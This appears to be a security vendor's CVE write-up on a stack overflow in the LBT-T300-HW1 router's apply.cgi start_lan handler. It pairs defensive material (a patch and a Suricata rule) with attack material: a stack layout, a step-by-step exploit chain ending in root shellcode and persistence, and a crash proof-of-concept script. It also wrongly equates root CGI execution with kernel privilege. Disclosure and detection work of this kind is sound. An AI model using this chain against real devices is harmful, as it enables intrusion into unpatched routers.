home intel cve-2026-7675-lbt-t300-hw1-start-lan-buffer-overflow
CVE Analysis 2026-05-03 · 8 min read

CVE-2026-7675: Stack Buffer Overflow in LBT-T300-HW1 apply.cgi start_lan

Unauthenticated stack overflow in Shenzhen Libituo LBT-T300-HW1 ≤1.2.8 via unsanitized Channel/ApCliSsid CGI params in start_lan(). CVSS 8.8, remotely exploitable.

#buffer-overflow#remote-code-execution#cgi-injection#firmware-vulnerability#unpatched-device
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7675 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-7675Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7675 is a stack-based buffer overflow in the start_lan() function within the /apply.cgi handler of the Shenzhen Libituo LBT-T300-HW1 wireless gateway, firmware versions up to and including 1.2.8. The vulnerability is triggered by sending a crafted HTTP POST request to /apply.cgi with an oversized Channel or ApCliSsid parameter. Because the CGI handler runs with root privileges on the embedded Linux target and performs no bounds checking before copying attacker-controlled POST body data into fixed-size stack buffers, a remote unauthenticated attacker can overwrite the saved return address and achieve arbitrary code execution at the kernel's highest privilege level.

The vendor was notified prior to public disclosure and did not respond. The exploit has been publicly disclosed.

Root cause: start_lan() copies CGI POST parameters Channel and ApCliSsid into fixed-size stack buffers using strcpy() without any length validation, allowing a remote attacker to overwrite the stack frame and redirect control flow.

Affected Component

The attack surface is the web management interface exposed on the LAN (default) and optionally WAN side of the device. All requests are handled by a single CGI binary typically located at /usr/sbin/apply.cgi or dispatched through httpd. The relevant action is gated by the POST field action=start_lan (or equivalent numeric action code). On firmware 1.2.8, the CGI binary is a statically linked MIPS32 ELF, compiled without stack canaries (-fno-stack-protector) and without ASLR enforcement (kernel randomize_va_space=0 is typical for this class of embedded target).

  • Binary: /usr/sbin/apply.cgi (MIPS32 big-endian, statically linked)
  • Vulnerable parameters: Channel, ApCliSsid
  • Trigger: HTTP POST to /apply.cgi, no authentication required on default config
  • Mitigations present: None (no canary, no ASLR, no NX enforcement observed)

Root Cause Analysis

The start_lan() function reads CGI POST parameters via a wrapper around the standard nvram_get() / websGetVar() pattern common to Broadcom/Ralink SDK-derived router firmware. Both Channel and ApCliSsid are read into stack-allocated character arrays sized for their expected maximum legitimate values (6 bytes for a channel number, 33 bytes for an SSID per 802.11 spec). No length check is performed before the copy.


// Reconstructed pseudocode — start_lan() in apply.cgi
// Firmware: LBT-T300-HW1 v1.2.8
// Architecture: MIPS32 BE

int start_lan(webs_t wp) {
    char channel_buf[8];      // stack: fixed 8-byte buffer for channel string
    char apcli_ssid[64];      // stack: fixed 64-byte buffer for SSID
    char nvram_key[128];
    char cmd_buf[256];

    char *channel   = websGetVar(wp, "Channel",    "6");
    char *apcli     = websGetVar(wp, "ApCliSsid",  "");

    // BUG: no strlen() check before strcpy — attacker controls channel/apcli length
    strcpy(channel_buf, channel);    // overflows at >7 bytes; overwrites apcli_ssid, nvram_key, cmd_buf, saved $ra
    strcpy(apcli_ssid, apcli);       // overflows at >63 bytes; same stack frame corruption

    snprintf(nvram_key, sizeof(nvram_key), "wl0_channel");
    nvram_set(nvram_key, channel_buf);

    snprintf(cmd_buf, sizeof(cmd_buf),
             "iwconfig ra0 channel %s", channel_buf);
    system(cmd_buf);   // secondary: cmd injection post-overflow, or directly if short payload

    // ... remainder of LAN config apply logic
    return 0;
}

The websGetVar() call returns a pointer directly into the parsed HTTP POST body with no size cap. The subsequent strcpy() is the classic unbounded copy. A Channel value longer than 7 bytes begins overwriting apcli_ssid; a value longer than approximately 456 bytes (accounting for all intervening stack variables) reaches the saved return address ($ra on MIPS). ApCliSsid alone can overflow with 64+ bytes.

Memory Layout

The following reflects the reconstructed stack frame for start_lan() on a MIPS32 target with a typical 4-byte alignment ABI. Offsets are relative to the frame base ($sp on function entry after prologue).


// start_lan() stack frame layout (MIPS32, no canary)
struct start_lan_frame {
    /* $sp+0x000 */ char     channel_buf[8];     // target of first strcpy
    /* $sp+0x008 */ char     apcli_ssid[64];     // overflowed at channel_buf+8
    /* $sp+0x048 */ char     nvram_key[128];     // $sp+0x48
    /* $sp+0x0C8 */ char     cmd_buf[256];       // $sp+0xC8
    /* $sp+0x1C8 */ uint32_t saved_fp;           // saved $fp (frame pointer)
    /* $sp+0x1CC */ uint32_t saved_ra;           // saved $ra — OVERWRITE TARGET
};
// Total frame: ~0x1D0 bytes
// Overflow distance to saved $ra from channel_buf: 0x1CC bytes

STACK STATE BEFORE OVERFLOW (start_lan frame, grows down):

  $sp+0x1CC  [ saved $ra         =   ]  <-- target
  $sp+0x1C8  [ saved $fp                                     ]
  $sp+0x0C8  [ cmd_buf[256]      = "\x00" * 256              ]
  $sp+0x048  [ nvram_key[128]    = "\x00" * 128              ]
  $sp+0x008  [ apcli_ssid[64]    = "\x00" * 64               ]
  $sp+0x000  [ channel_buf[8]    = "6\x00\x00\x00\x00\x00"  ]  <-- strcpy dst

STACK STATE AFTER OVERFLOW (Channel = 'A'*0x1CC + ):

  $sp+0x1CC  [ saved $ra         = 0x41414141  ] <-- CORRUPTED: attacker $ra
  $sp+0x1C8  [ saved $fp         = 0x41414141  ] <-- CORRUPTED
  $sp+0x0C8  [ cmd_buf           = 'A' * 256   ] <-- CORRUPTED
  $sp+0x048  [ nvram_key         = 'A' * 128   ] <-- CORRUPTED
  $sp+0x008  [ apcli_ssid        = 'A' * 64    ] <-- CORRUPTED
  $sp+0x000  [ channel_buf       = 'A' * 8     ] <-- overflow origin

Exploitation Mechanics

Because the target runs MIPS32 with no ASLR and no stack canary, exploitation is straightforward ret2stack or ret2libc. The process image base and stack addresses are static across reboots on this firmware version, making reliable control flow redirection trivial after a single crash-to-reboot observation.


EXPLOIT CHAIN:
1. Identify target — HTTP banner or default gateway MAC OUI confirms LBT-T300-HW1.
   Default management IP: 192.168.1.1, port 80. No authentication on /apply.cgi
   in default factory configuration (auth bypass or pre-auth depending on firmware build).

2. Determine stack offset — Send Channel='A'*N for increasing N until device
   reboots (saved $ra corrupted). Binary search or cyclic pattern confirms
   offset to saved $ra = 0x1CC bytes from channel_buf base.

3. Locate ROP/shellcode target — Static binary + no ASLR: stack address is
   fixed. Read crash address from syslog if accessible, or use known-good
   offset from firmware image loaded in emulator (QEMU MIPS).

4. Build payload — Payload structure:
      [NOP sled / shellcode @ channel_buf+0x00 ... +0x1CB]
      [target addr little/big endian @ offset 0x1CC]
   On MIPS BE: saved $ra is big-endian uint32. Pad to alignment.

5. Embed shellcode — Typical goal: bind shell or reverse shell via
   system() trampoline or direct MIPS shellcode. Null-byte avoidance
   required (strcpy stops at 0x00); use XOR encoding or MIPS
   null-free shellcode patterns.

6. Deliver via HTTP POST:
      POST /apply.cgi HTTP/1.1
      Host: 192.168.1.1
      Content-Type: application/x-www-form-urlencoded

      action=start_lan&Channel=&ApCliSsid=harmless

7. Function returns, $ra loaded with attacker value, PC redirects to
   shellcode / ROP chain on stack.

8. Shellcode executes as root (httpd/apply.cgi runs as uid=0 on target).
   Persistent access: write to /etc/rc.local or flash NVRAM backdoor entry.

The ApCliSsid vector follows an identical path with a shorter overflow distance (64 bytes to begin corrupting adjacent stack variables, ~452 bytes to saved $ra). An attacker can use either parameter; Channel is preferred as it has a smaller legitimate value range, making anomaly detection harder with short payloads.

Additionally, if the attacker limits the Channel overflow to less than the frame size but still reaches cmd_buf, the subsequent system(cmd_buf) call becomes a direct command injection primitive without needing to control $ra at all — a lower-complexity variant of the attack.


# CVE-2026-7675 — Proof-of-concept trigger (crash/DoS only)
# For research and authorized testing purposes.

import requests

TARGET   = "http://192.168.1.1/apply.cgi"
OFFSET   = 0x1CC          # bytes from channel_buf to saved $ra
CANARY   = False           # no stack canary on target

# Cyclic pattern for offset confirmation (De Bruijn, truncated)
pattern = (b"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL"
           b"mmmmnnnnoooo" * 8)[:OFFSET + 4]

payload = {
    "action":    "start_lan",
    "Channel":   pattern.decode("latin-1"),
    "ApCliSsid": "CypherByte",
}

print(f"[*] Sending {len(pattern)}-byte Channel payload to {TARGET}")
try:
    r = requests.post(TARGET, data=payload, timeout=5)
    print(f"[*] Response: {r.status_code}")
except requests.exceptions.Timeout:
    print("[!] Timeout — device likely crashed. Confirm $ra = pattern bytes at offset.")

Patch Analysis

The vendor has not released a patch as of the time of writing. The correct remediation is to replace all unbounded strcpy() calls on POST-derived parameters with length-checked alternatives, validating against the maximum legal value for each field before copying.


// BEFORE (vulnerable — firmware 1.2.8):
char channel_buf[8];
char apcli_ssid[64];

char *channel = websGetVar(wp, "Channel",   "6");
char *apcli   = websGetVar(wp, "ApCliSsid", "");

strcpy(channel_buf, channel);   // BUG: no bounds check
strcpy(apcli_ssid,  apcli);     // BUG: no bounds check


// AFTER (patched — recommended):
#define CHANNEL_MAX_LEN   7     // "1"–"165\0" fits in 8 bytes with null
#define APCLI_SSID_MAX    32    // IEEE 802.11: SSID max 32 octets

char channel_buf[8];
char apcli_ssid[64];

char *channel = websGetVar(wp, "Channel",   "6");
char *apcli   = websGetVar(wp, "ApCliSsid", "");

// Validate before copy — reject or truncate oversized input
if (strlen(channel) > CHANNEL_MAX_LEN) {
    websError(wp, 400, "Invalid Channel parameter");
    return -1;
}
if (strlen(apcli) > APCLI_SSID_MAX) {
    websError(wp, 400, "Invalid ApCliSsid parameter");
    return -1;
}

strncpy(channel_buf, channel, sizeof(channel_buf) - 1);
channel_buf[sizeof(channel_buf) - 1] = '\0';

strncpy(apcli_ssid, apcli, sizeof(apcli_ssid) - 1);
apcli_ssid[sizeof(apcli_ssid) - 1] = '\0';

A defense-in-depth patch would additionally enable stack canaries (-fstack-protector-strong) and address space layout randomization at the kernel level (randomize_va_space=2), significantly raising the exploitation bar even if a similar bug is introduced in future firmware revisions.

Detection and Indicators

The following signatures and indicators can be used to detect exploitation attempts against this vulnerability:

Network-level (IDS/IPS):


# Suricata / Snort rule (conceptual)
alert http $EXTERNAL_NET any -> $HOME_NET 80 (
    msg:"CVE-2026-7675 LBT-T300 apply.cgi Channel overflow attempt";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/apply.cgi";
    http.request_body;
    content:"Channel="; distance:0;
    pcre:"/Channel=[^\&]{8,}/";   # Channel value exceeds 7 chars
    classtype:attempted-admin;
    sid:20267675; rev:1;
)

Host-level indicators:

  • Unexpected process spawned as child of apply.cgi or httpd (e.g., sh, telnetd)
  • NVRAM entries modified with non-standard values for wl0_channel or apcli0_ssid
  • Device reboot loop — repeated crashes indicate probing/offset enumeration
  • Anomalous outbound connections from management interface IP

Remediation

  • Immediate: Disable remote/WAN access to the web management interface. Restrict LAN access to the management interface by MAC filtering or VLAN isolation if the device is in a shared environment.
  • Firmware: Await a patched firmware release from Shenzhen Libituo Technology. If no patch is forthcoming, consider replacing the device with a supported alternative.
  • Network segmentation: Place the device behind a firewall that blocks HTTP POST requests to /apply.cgi from untrusted hosts.
  • Monitoring: Deploy the Suricata rule above or equivalent on the upstream gateway to log and block exploitation attempts.
  • Vendor non-response: Given the vendor's failure to respond to pre-disclosure contact, users should treat this device as permanently unpatched and plan migration accordingly.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →